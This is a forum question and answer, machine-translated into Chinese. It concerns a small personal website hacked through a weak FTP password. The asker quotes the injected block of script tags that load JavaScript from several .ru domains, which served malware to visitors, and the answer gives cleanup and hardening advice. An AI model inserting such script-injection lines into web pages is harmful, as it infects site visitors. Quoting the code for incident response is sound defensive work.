我的网站被黑了..我该怎么办？ [关闭]

我爸爸今天打电话给我，说访问他网站的人收到了 168 个病毒，试图下载到他们的计算机上。他根本不懂技术，而是用所见即所得的编辑器构建了整个东西。

我打开他的网站并查看了源代码，在源代码底部的 HTML 结束标记之前有一行 Javascript 包含内容。他们包括这个文件（以及许多其他文件）：http://www.98hs.ru/js.js http://www.98hs.ru/js.js <-- 在访问该 URL 之前，请关闭 JavaScript。

所以我暂时把它注释掉了。事实证明，他的 FTP 密码是一个简单的字典单词，长度为 6 个字母，因此我们认为这就是它被黑客入侵的原因。我们已将他的密码更改为 8 位以上的非单词字符串（他不会选择密码，因为他是一个喜欢打字的人）。

I did a 98hs.ru 上的 WHOIS http://whois.domaintools.com/98hs.ru并发现它是由智利的服务器托管的。实际上也有一个与之相关的电子邮件地址，但我严重怀疑这个人就是罪魁祸首。可能只是其他一些被黑客攻击的网站......

我现在不知道该怎么办，因为我以前从未处理过此类事情。有人有什么建议吗？

他通过 webhost4life.com 使用简单的、不安全的 ftp。我什至没有看到办法do他们网站上的 sftp。我想他的用户名和密码被截获了？

那么，为了使其与社区更相关，您应该采取哪些步骤/应该遵循哪些最佳实践来保护您的网站免遭黑客攻击？

作为记录，这是“神奇地”添加到他的文件中的代码行（并且不在他计算机上的文件中 - 我将其注释掉只是为了绝对确保它不会执行任何操作在此页面上，尽管我确信杰夫会防止这一点）：

<!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script-->

尝试收集尽可能多的信息。查看主机是否可以为您提供一个日志，显示与您的帐户建立的所有 FTP 连接。您可以使用这些来查看是否是用于进行更改并可能获取 IP 地址的 FTP 连接。

如果您使用的是预打包软件，例如 Wordpress、Drupal 或其他任何您没有编写代码的软件，则上传代码中可能存在允许此类修改的漏洞。如果是定制的，请仔细检查允许用户上传文件或修改现有文件的所有位置。

第二件事是按原样转储站点并检查所有内容是否有其他修改。这可能只是他们所做的一项修改，但如果他们通过 FTP 进入，谁知道上面还有什么。

将您的站点恢复到已知的良好状态，并根据需要升级到最新版本。

您还必须考虑一定程度的回报。这种损害是否值得尝试追踪该人，或者这只是您生活、学习和使用更强密码的事情？